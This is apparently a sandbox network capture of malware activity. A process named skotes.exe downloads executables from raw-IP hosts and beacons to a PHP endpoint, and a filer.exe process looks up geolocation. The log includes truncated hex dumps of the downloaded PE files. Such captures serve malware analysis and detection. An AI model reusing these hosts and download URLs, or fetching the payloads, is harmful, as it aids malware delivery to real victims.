Nov 26, 2024 22:54:04.766269922 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:54:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	50101	31.41.244.11	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:04.890346050 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 26, 2024 22:54:06.275630951 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:54:06 GMT Content-Type: application/octet-stream Content-Length: 4459008 Last-Modified: Tue, 26 Nov 2024 21:23:47 GMT Connection: keep-alive ETag: "67463c63-440a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 f0 c7 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 c8 00 00 04 00 00 75 a8 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 d5 c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 d5 c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Eg(NK:v2`K@ uD@ _sssD s6(@.rsrcsF(@.idata sH(@ 8sJ(@jcpdlyrl@L(@vptfowwtC@.taggant0"C@
Nov 26, 2024 22:54:06.275739908 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:06.275753975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:06.275893927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:06.275908947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:06.276197910 CET	672	IN	Data Raw: 9e a3 db 40 15 e0 b7 fd fd 91 5d 51 db 68 11 73 7b c7 5d ba 9c 92 a7 33 b0 2e 56 7f be 85 fb 7b 0b ee 54 ea 3c 95 ec fd b3 16 44 f7 55 b5 2e b8 a4 25 e0 f5 02 7a c5 c8 4a 1e 89 b8 82 06 0c 87 66 58 44 3b d6 0e 43 8b 8e bd 35 db 06 78 2c b1 08 f5 Data Ascii: @]Qhs{]3.V{T<DU.%zJfXD;C5x,.+N;jSQ>,{.*v);TTrP<Sj[Idy75GF,-lz5z.J`&.zP4%v^IE!N`aqeb7;:,J~WFh>\|
Nov 26, 2024 22:54:06.276205063 CET	1236	IN	Data Raw: 53 20 ef c0 64 3d 15 e3 4f 99 b7 5d b9 b0 ff d1 8b 6f a6 3e f9 ed ad f9 a5 e6 af a5 7e 4b 4b 11 9e 15 53 c8 8c 06 d4 d5 51 23 e5 00 e2 17 27 0c 0a 97 44 a9 93 29 87 2f b2 27 76 b2 a6 75 c5 cd f7 1d ab fb 97 69 7f f6 d5 49 3b 20 ca 48 a4 63 31 9e Data Ascii: S d=O]o>~KKSQ#'D)/'vuiI; Hc1"dydfAZ6lf7z>sME`T0Y04owEv8r%2dReZCrB')7<#k~Gw.1;#e{E.&Jt$pGa3tx(g]z5
Nov 26, 2024 22:54:06.276216030 CET	1236	IN	Data Raw: aa 0a b5 b6 b4 0d 86 a9 35 e7 16 64 ee e1 aa 12 36 06 9a 32 82 3c c5 75 35 5c f6 df 22 ed ab d5 f6 a2 24 11 1b c9 30 26 71 87 44 ba 3b 9f 12 60 d8 c7 6c 55 c1 4f ed aa 3e a3 e8 a4 19 10 bb 2d c3 33 30 83 18 6d a2 95 d5 be b3 ee fc 8e 7a e1 9d cc Data Ascii: 5d62<u5\"$0&qD;`lUO>-30mz(0E,DEXrb,Tf9,h\lK I;<5H&"f0K^DDrrhZP(Dj)jV("(G30pR'g[wCDpDqV
Nov 26, 2024 22:54:06.276227951 CET	1236	IN	Data Raw: 6c 46 ce b8 54 4a fb 42 5d 6c b6 ff 12 03 90 76 3e 06 10 94 06 62 64 71 4a f8 33 95 46 47 33 76 81 f0 09 44 18 5d 9a 9f b4 d8 88 a4 7b 26 38 4a 02 59 5c 90 92 37 2a 7d 39 ca ab 31 4a 79 25 5b 4e 97 22 ff 3a 19 37 03 ed 58 4a f7 60 4c ac 82 b6 1d Data Ascii: lFTJB]lv>bdqJ3FG3vD]{&8JY\7*}91Jy%[N":7XJ`LyZ-zRg5g$c>H[)f7sA:L\|jS!6ewv_]IfPw\|gOa/2/J,YqzS45,j
Nov 26, 2024 22:54:06.276648045 CET	1236	IN	Data Raw: 67 49 cb 6f 9b 1d 34 13 21 1b d6 dd c1 37 46 f0 6a 11 b7 0e e2 57 2c 4d 4d 8a fd 1b 54 45 f3 7e 0d 02 b5 70 2f 4e 6b f0 ba 27 d4 af 33 33 83 3e d2 8f 66 94 ad fb 64 8d 5a a8 18 f1 3d 90 55 00 4b c8 dc 5f 18 85 5f 17 35 23 c6 01 13 72 b4 42 5f c5 Data Ascii: gIo4!7FjW,MMTE~p/Nk'33>fdZ=UK__5#rB_U<xW0K!eJ+\|$BFLqvftVNl@\G36j%)>j\|/coZ7Gu(^Ktr`y~tv=z865o
Nov 26, 2024 22:54:06.396008015 CET	1236	IN	Data Raw: f0 7d 93 06 7a 49 9d f1 30 90 61 50 5d 8e 9b 4f ce d4 78 cb c6 ea a4 e1 db 1b 64 cf f6 24 b6 c1 d5 c1 1a 6b cb e4 b3 43 22 c1 57 8c 33 fc 74 0f eb fb 9f 0e 66 f1 2e 0d 40 41 26 8a e5 03 30 f0 00 97 df d4 73 8b ea 2d e8 81 eb e3 67 1d ba d6 7d 1e Data Ascii: }zI0aP]Oxd$kC"W3tf.@A&0s-g}akV\;!?);j&_e.Ug#,'Lt2fa5v8_oUJ%%a+'mt\|^>Tv^y&?e/g;`*boC{Dn).u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	50129	185.215.113.43	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:16.253036976 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 33 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009393001&unit=246122658369
Nov 26, 2024 22:54:17.633111000 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:54:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	50132	31.41.244.11	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:17.763751984 CET	66	OUT	GET /files/7407486059/Tq4a1Bz.exe HTTP/1.1 Host: 31.41.244.11
Nov 26, 2024 22:54:19.144228935 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:54:18 GMT Content-Type: application/octet-stream Content-Length: 189568 Last-Modified: Tue, 26 Nov 2024 21:48:38 GMT Connection: keep-alive ETag: "67464236-2e480" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 4b d6 45 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 9a 01 00 00 a0 00 00 00 00 00 00 ec b2 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 03 00 00 06 00 00 a2 c0 03 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 11 02 00 28 00 00 00 00 10 03 00 10 00 00 00 00 00 00 00 00 00 00 00 00 bc 02 00 80 2e 00 00 00 70 02 00 20 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 b7 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 b0 12 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELKEg@ @X(.p 0.text@ `.rdataDrt@@.data 0@.10cfg`$@@.reloc p&@B.ROLvv>@.rsrc@@
Nov 26, 2024 22:54:19.144283056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:19.144294977 CET	1236	IN	Data Raw: fa 97 f5 09 e9 89 fd 81 e7 7a 38 b5 91 f7 d5 89 e8 25 85 c7 4a 6e 09 c7 89 d8 81 e3 7a 38 b5 91 f7 d0 09 c5 25 85 c7 4a 6e 09 c3 89 c8 f7 d5 31 fb f7 d0 09 dd 21 e8 f7 d5 21 cd 09 c5 83 7c 24 2c 00 b8 79 94 06 8a 0f 94 44 24 03 83 7c 24 30 0a 0f Data Ascii: z8%Jnz8%Jn1!!\|$,yD$\|$0D$f.~(`~uT$yuL$T$L$f.{tcxT$
Nov 26, 2024 22:54:19.144536018 CET	1236	IN	Data Raw: 30 e9 a8 01 b8 9a c0 13 06 0f 45 f8 f6 c5 01 0f 44 fe f6 c1 01 0f 45 f8 81 ff 09 fa 97 f5 0f 8f 33 ff ff ff e9 56 ff ff ff bf 9a c0 13 06 81 ff 09 fa 97 f5 0f 8f 1d ff ff ff e9 40 ff ff ff bf 82 cc c2 ce 81 ff 09 fa 97 f5 0f 8f 07 ff ff ff e9 2a Data Ascii: 0EDE3V@*D$(L$<i[23!23!%23!1!1iL$$[!!i[1!!MqMq%=\|=\|R1L$(
Nov 26, 2024 22:54:19.144717932 CET	896	IN	Data Raw: 03 00 00 3d 6e 06 d8 f4 0f 85 ed fd ff ff 50 83 ec 14 89 e0 be 10 e4 89 6c 89 45 e4 8b 47 3c 8b 44 38 78 01 f8 89 45 e8 8b 45 e8 8b 40 20 01 f8 89 45 a8 8b 45 e8 8b 0d d8 3f 42 00 8b 40 18 89 45 a4 a1 d4 3f 42 00 8d 50 ff 0f af d0 89 d0 83 f2 01 Data Ascii: =nPlEG<D8xEE@ EE?B@E?BP00 H$l0EH$lED=1d=H$l=pLBE@$MHMIE?BH\Q
Nov 26, 2024 22:54:19.144733906 CET	1236	IN	Data Raw: 00 00 00 89 4d d0 3d 91 31 ff f5 0f 8f 71 fa ff ff e9 b5 fa ff ff 8b 4d b0 50 ff 75 ac e8 59 3b 00 00 68 35 02 00 00 ff 75 e4 e8 0c f0 ff ff 83 c4 08 3b 45 0c 8b 7d 08 b8 76 3f 13 87 b9 29 b1 52 9f 0f 44 c1 3d 91 31 ff f5 0f 8f 32 fa ff ff e9 76 Data Ascii: M=1qMPuY;h5u;E}v?)RD=12v}e^_[]fUSWV8D$8D$$D$$$8D$(D$(hD$K=ED$L<8$LD8$%{5$'d
Nov 26, 2024 22:54:19.144987106 CET	1236	IN	Data Raw: fa b4 a8 73 cf 0f 84 88 00 00 00 81 fa 11 d1 64 de 75 e4 8b 74 24 0c 0f b6 54 04 38 8a 74 34 38 88 74 04 38 88 54 34 38 ba b4 a8 73 cf 81 fa 35 86 8b f4 7e ca 66 90 81 fa 50 2a e6 41 0f 84 08 01 00 00 81 fa 36 86 8b f4 75 ac 0f b6 54 24 02 8a 74 Data Ascii: sdut$T8t48t8T48s5~fP*A6uT$t$sd00dEED5nt$T8t48t8T485I\|f.f===D$\|
Nov 26, 2024 22:54:19.144996881 CET	448	IN	Data Raw: e9 3e fe ff ff 64 8b 3d 30 00 00 00 8b 7f 0c 8b 77 0c 8b 06 8b 00 8b 40 18 a3 c8 3f 42 00 e9 a5 00 00 00 a1 ec 3f 42 00 8d 48 ff 0f af c8 89 c8 83 e1 01 f7 d0 89 c2 83 e2 fe 09 d1 f7 d1 09 c1 83 f9 ff 0f 94 c0 83 3d f0 3f 42 00 0a 89 c2 0f 9c c1 Data Ascii: >d=0w@?B?BH=?B0ruiI0uriI=C$d$r400MXurEMX=Cfd=0w@
Nov 26, 2024 22:54:19.145008087 CET	1236	IN	Data Raw: 89 74 24 30 be 2d a0 8b a9 89 54 24 2c ba c9 9a 50 7d 0f 44 c8 89 4c 24 28 0f 44 d0 b9 eb b0 37 00 b8 18 0c 55 95 0f 44 c1 0f 44 e9 b9 8e 23 fe 9b 0f 44 f9 0f 44 f1 89 c1 b8 45 98 25 7b 89 7c 24 20 bf e8 ed 73 12 89 74 24 24 0f 44 df 0f 44 c7 bf Data Ascii: t$0-T$,P}DL$(D7UDD#DDE%{\|$ st$$DD~\$4cD$D\$LD\$T^ID\$'DzL\$ou(D\$\|$?P}f.D7Fj
Nov 26, 2024 22:54:19.145019054 CET	1236	IN	Data Raw: 8f 66 ff ff ff e9 f5 00 00 00 0f 1f 44 00 00 81 f9 e8 88 e7 27 74 40 81 f9 fd 7e 36 6f 0f 85 3c ff ff ff e9 e7 01 00 00 8a 55 f3 8a 4d f2 be 87 d7 3d cb 30 d1 88 ce 80 f6 01 20 f2 30 d6 f6 c1 01 b9 75 cf 34 9e 0f 45 ce f6 c2 01 0f 44 c8 f6 c6 01 Data Ascii: fD't@~6o<UM=0 0u4EDPM0B3V'?B@Bq1N1~ 0 0EDE
Nov 26, 2024 22:54:19.264369011 CET	1236	IN	Data Raw: e4 ff ff 83 c4 08 89 44 24 04 8b 54 24 04 ff d2 6a 17 68 00 30 42 00 68 49 05 00 00 68 17 30 42 00 e8 35 eb ff ff 83 c4 10 b8 85 43 3c 65 3d 10 e8 54 55 7e 21 e9 b1 00 00 00 b8 29 03 32 60 66 2e 0f 1f 84 00 00 00 00 00 66 90 3d 10 e8 54 55 0f 8f Data Ascii: D$T$jh0BhIh0B5C<e=TU~!)2`f.f=TU=b:=f=f=.Su@B)2`H5H1<5H1=@B0pup0up)2`=TUk=*)a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	50134	185.215.113.43	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:22.179507971 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 33 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009399001&unit=246122658369
Nov 26, 2024 22:54:23.602121115 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:54:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	50135	208.95.112.1	80	6368	C:\Users\user\AppData\Local\Temp\1009384001\filer.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:22.411808014 CET	96	OUT	GET /json/ HTTP/1.1 Host: ip-api.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Nov 26, 2024 22:54:23.600696087 CET	482	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:54:23 GMT Content-Type: application/json; charset=utf-8 Content-Length: 305 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.75"}
Nov 26, 2024 22:54:23.602905035 CET	96	OUT	GET /json/ HTTP/1.1 Host: ip-api.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Nov 26, 2024 22:54:23.941523075 CET	482	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:54:23 GMT Content-Type: application/json; charset=utf-8 Content-Length: 305 Access-Control-Allow-Origin: * X-Ttl: 59 X-Rl: 43 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.75"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50136	185.215.113.16	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:23.730107069 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 26, 2024 22:54:25.161371946 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:54:24 GMT Content-Type: application/octet-stream Content-Length: 1907200 Last-Modified: Tue, 26 Nov 2024 21:29:03 GMT Connection: keep-alive ETag: "67463d9f-1d1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 95 08 45 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 02 04 00 00 c6 00 00 00 00 00 00 00 60 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4b 00 00 04 00 00 0f b5 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELEg`K@K@\pp `\@.rsrcpl@.idata n@ @+p@zzqvcapk0r@wvrfktfyPK@.taggant0`K"@
Nov 26, 2024 22:54:25.161438942 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:25.162070036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:25.162218094 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:25.162229061 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:25.162390947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:25.162585974 CET	1236	IN	Data Raw: f8 f8 e9 50 68 2b 92 00 20 20 d1 c2 0d 04 e4 4a 76 a3 32 44 b0 10 7b 9f a1 fa 1f 0a 59 49 d4 94 a0 28 06 20 1f 1b 3b 5e 1a fd cf 33 e3 09 66 8c 02 14 dd df 4f 04 4a 28 7f 6d fc ca 73 c6 d1 24 81 f3 b0 01 ce 6b 53 04 99 a3 4f 6f 8c 41 a1 6a f4 90 Data Ascii: Ph+ Jv2D{YI( ;^3fOJ(ms$kSOoAjWuwK?{6+,yC4]\|2Q1@U'!LMI/HY;x0TmNmE#Sbug=Fjn"'BBOI2$~
Nov 26, 2024 22:54:25.162595987 CET	248	IN	Data Raw: ad 57 f4 b6 ea 7d b1 98 a7 75 eb 90 fc 04 f8 b8 75 71 54 db 49 75 f5 6d e3 74 f8 04 f8 bb 19 76 70 88 4d 85 d9 53 cb fc fb 74 18 80 20 84 c7 84 29 c9 7d 5d 4a c2 ea 8d 49 55 99 12 0d 6e 44 60 e0 b8 40 33 54 7f be 35 24 f6 08 95 9c 71 1e 87 1b 77 Data Ascii: W}uuqTIumtvpMSt )}]JIUnD`@3T5$qw=u5CK\/Z +[Q_id88\|L[^N2{A=PGY2g@?N9R8h`g+p`,) {E1RZ/5{P,K%
Nov 26, 2024 22:54:25.162849903 CET	1236	IN	Data Raw: 5a a7 e2 1a 46 c7 92 25 46 55 e2 cd c1 eb c8 4e da 61 73 9d e9 cd 27 f8 2b 77 aa a3 57 75 cb 7e 3c 56 f9 ed 86 30 54 20 a0 dd 51 f5 ef b3 7b c0 6e 4c d0 43 c6 d1 61 24 78 a0 3f 27 d1 c6 15 08 24 98 35 38 dc 0c 18 f4 1f 28 ef 31 9f ec 0e 10 78 82 Data Ascii: ZF%FUNas'+wWu~<V0T Q{nLCa$x?'$58(1xs3?D:nwd35Ig?-y,Bf'8Qwgz &ap1rcm#u\|~G4$HO+'PdwEG
